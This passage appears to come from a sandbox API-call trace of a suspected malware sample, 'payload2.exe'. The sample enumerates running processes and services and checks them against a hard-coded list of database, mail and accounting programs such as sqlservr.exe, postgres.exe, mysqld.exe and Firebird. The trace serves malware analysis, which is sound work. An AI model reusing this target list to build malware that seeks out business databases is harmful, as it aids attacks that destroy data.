(lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0268.745] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0268.745] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0268.745] Process32NextW (in: hSnapshot=0x2f4, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.745] lstrlenW (lpString="svchost.exe") returned 11 [0268.745] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0268.745] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0268.745] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0268.745] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0268.746] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0268.746] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0268.746] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0268.746] Process32NextW (in: hSnapshot=0x2f4, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.746] lstrlenW (lpString="svchost.exe") returned 11 [0268.746] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0268.746] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0268.746] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0268.746] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0268.746] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0268.746] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0268.746] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0268.746] Process32NextW (in: hSnapshot=0x2f4, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0268.747] lstrlenW (lpString="audiodg.exe") returned 11 [0268.747] lstrcmpiW (lpString1="1c8.exe", lpString2="audiodg.exe") returned -1 [0268.747] lstrcmpiW (lpString1="1cv77.exe", lpString2="audiodg.exe") returned -1 [0268.747] lstrcmpiW (lpString1="outlook.exe", lpString2="audiodg.exe") returned 1 [0268.747] lstrcmpiW (lpString1="postgres.exe", lpString2="audiodg.exe") returned 1 [0268.747] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="audiodg.exe") returned 1 [0268.747] lstrcmpiW (lpString1="mysqld.exe", lpString2="audiodg.exe") returned 1 [0268.747] lstrcmpiW (lpString1="sqlservr.exe", lpString2="audiodg.exe") returned 1 [0268.747] Process32NextW (in: hSnapshot=0x2f4, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.747] lstrlenW (lpString="svchost.exe") returned 11 [0268.747] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0268.747] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0268.747] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0268.747] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0268.747] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0268.747] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0268.747] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0268.747] Process32NextW (in: hSnapshot=0x2f4, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.747] lstrlenW (lpString="svchost.exe") returned 11 [0268.748] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0268.748] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0268.748] Process32NextW (in: hSnapshot=0x2f4, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0268.748] lstrlenW (lpString="userinit.exe") returned 12 [0268.748] Process32NextW (in: hSnapshot=0x2f4, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x44c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0268.748] lstrlenW (lpString="dwm.exe") returned 7 [0268.748] Process32NextW (in: hSnapshot=0x2f4, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0268.749] lstrlenW (lpString="explorer.exe") returned 12 [0268.749] Process32NextW (in: hSnapshot=0x2f4, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0268.749] lstrlenW (lpString="spoolsv.exe") returned 11 [0268.749] Process32NextW (in: hSnapshot=0x2f4, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0268.749] lstrlenW (lpString="taskhost.exe") returned 12 [0268.749] Process32NextW (in: hSnapshot=0x2f4, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.750] lstrlenW (lpString="svchost.exe") returned 11 [0268.750] Process32NextW (in: hSnapshot=0x2f4, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload2.exe")) returned 1 [0268.750] lstrlenW (lpString="payload2.exe") returned 12 [0268.750] Process32NextW (in: hSnapshot=0x2f4, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x554, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0268.750] lstrlenW (lpString="reader_sl.exe") returned 13 [0268.750] Process32NextW (in: hSnapshot=0x2f4, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0268.750] lstrlenW (lpString="dllhost.exe") returned 11 [0268.750] Process32NextW (in: hSnapshot=0x2f4, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0268.751] CloseHandle (hObject=0x2f4) returned 1 [0268.751] Sleep (dwMilliseconds=0x1f4) [0269.349] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x420a558 [0269.366] EnumServicesStatusExW (in: hSCManager=0x420a558, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x207ff44, lpServicesReturned=0x207ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x207ff44, lpServicesReturned=0x207ff5c, lpResumeHandle=0x0) returned 0 [0269.366] GetLastError () returned 0xea [0269.366] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xba0) returned 0x42091e0 [0269.366] EnumServicesStatusExW (in: hSCManager=0x420a558, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x42091e0, cbBufSize=0xba0, pcbBytesNeeded=0x207ff44, lpServicesReturned=0x207ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x42091e0, pcbBytesNeeded=0x207ff44, lpServicesReturned=0x207ff5c, lpResumeHandle=0x0) returned 0 [0269.367] GetLastError () returned 0xea [0269.367] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x42091e0, Size=0xc26) returned 0x42091e0 [0269.367] EnumServicesStatusExW (in: hSCManager=0x420a558, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x42091e0, cbBufSize=0xc26, pcbBytesNeeded=0x207ff44, lpServicesReturned=0x207ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x42091e0, pcbBytesNeeded=0x207ff44, lpServicesReturned=0x207ff5c, lpResumeHandle=0x0) returned 1 [0269.367] CloseServiceHandle (hSCObject=0x420a558) returned 1 [0269.367] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0269.367] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0269.367] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0269.367] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0269.367] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0269.368] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0269.368] lstrlenW (lpString="AudioSrv") returned 8 [0269.368] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0269.368] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0269.368] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0269.368] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0269.368] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0269.368] lstrlenW (lpString="BFE") returned 3 [0269.368] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0269.368] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0269.368] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0269.368] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0269.368] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0269.368] lstrlenW (lpString="CryptSvc") returned 8 [0269.368] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0269.368] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0269.368] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0269.368] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0269.368] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0269.368] lstrlenW (lpString="CscService") returned 10 [0269.368] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0269.368] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0269.368] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0269.368] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0269.369] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0269.369] lstrlenW (lpString="DcomLaunch") returned 10 [0269.369] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0269.369] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0269.369] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0269.369] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0269.369] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0269.369] lstrlenW (lpString="Dhcp") returned 4 [0269.369] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0269.369] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0269.369] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0269.369] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0269.369] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0269.369] lstrlenW (lpString="Dnscache") returned 8 [0269.369] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0269.369] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0269.369] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0269.369] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0269.369] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0269.369] lstrlenW (lpString="DPS") returned 3 [0269.369] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0269.369] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0269.369] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0269.369] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0269.369] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0269.369] lstrlenW (lpString="eventlog") returned 8 [0269.369] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0269.369] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0269.369] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0269.370] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0269.370] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0269.370] lstrlenW (lpString="EventSystem") returned 11 [0269.370] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0269.370] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0269.370] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0269.370] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0269.370] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0269.370] lstrlenW (lpString="gpsvc") returned 5 [0269.370] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0269.370] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0269.370] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0269.370] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0269.370] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0269.370] lstrlenW (lpString="LanmanWorkstation") returned 17 [0269.370] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0269.370] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0269.370] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0269.370] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0269.370] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0269.370] lstrlenW (lpString="lmhosts") returned 7 [0269.370] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0269.370] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0269.370] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0269.370] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0269.370] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0269.370] lstrlenW (lpString="MMCSS") returned 5 [0269.370] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0269.370] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0269.370] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0269.370] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0269.370] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0269.371] lstrlenW (lpString="MpsSvc") returned 6 [0269.371] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0269.371] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0269.371] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0269.371] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0269.371] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0269.371] lstrlenW (lpString="NlaSvc") returned 6 [0269.371] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0269.371] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0269.371] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0269.371] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0269.371] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0269.371] lstrlenW (lpString="nsi") returned 3 [0269.371] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0269.371] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0269.371] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0269.371] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0269.371] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0269.371] lstrlenW (lpString="PlugPlay") returned 8 [0269.371] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0269.371] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0269.371] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0269.371] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0269.371] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0269.371] lstrlenW (lpString="Power") returned 5 [0269.371] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0269.371] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0269.371] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0269.371] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0269.371] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0269.371] lstrlenW (lpString="ProfSvc") returned 7 [0269.371] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0269.372] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0269.372] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0269.372] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0269.372] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0269.372] lstrlenW (lpString="RpcEptMapper") returned 12 [0269.372] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0269.372] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0269.372] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0269.372] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0269.372] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0269.372] lstrlenW (lpString="RpcSs") returned 5 [0269.372] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0269.372] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0269.372] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0269.372] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0269.372] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0269.372] lstrlenW (lpString="SamSs") returned 5 [0269.372] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0269.372] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0269.372] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0269.372] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0269.372] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0269.372] lstrlenW (lpString="Schedule") returned 8 [0269.372] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0269.372] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0269.372] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0269.372] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0269.372] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0269.372] lstrlenW (lpString="SENS") returned 4 [0269.373] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0269.373] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0269.373] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0269.373] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0269.373] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0269.373] lstrlenW (lpString="ShellHWDetection") returned 16 [0269.373] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0269.373] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0269.373] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0269.373] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0269.373] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0269.373] lstrlenW (lpString="Spooler") returned 7 [0269.373] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0269.373] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0269.373] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0269.373] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0269.373] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0269.373] lstrlenW (lpString="Themes") returned 6 [0269.373] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0269.373] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0269.373] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0269.373] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0269.373] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0269.373] lstrlenW (lpString="UxSms") returned 5 [0269.373] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0269.373] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0269.373] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0269.373] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0269.373] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0269.373] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x42091e0 | out: hHeap=0x2a0000) returned 1 [0269.373] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2f4 [0269.375] Process32FirstW (in: hSnapshot=0x2f4, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0269.375] Process32NextW (in: hSnapshot=0x2f4, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0269.375] lstrlenW (lpString="System") returned 6 [0269.375] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0269.375] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0269.375] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0269.375] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0269.375] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0269.375] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0269.375] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0269.375] Process32NextW (in: hSnapshot=0x2f4, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0269.376] lstrlenW (lpString="smss.exe") returned 8 [0269.376] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0269.376] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0269.376] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0269.376] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0269.376] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0269.376] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0269.376] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0269.376] Process32NextW (in: hSnapshot=0x2f4, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0269.376] lstrlenW (lpString="csrss.exe") returned 9 [0269.376] lstrcmpiW 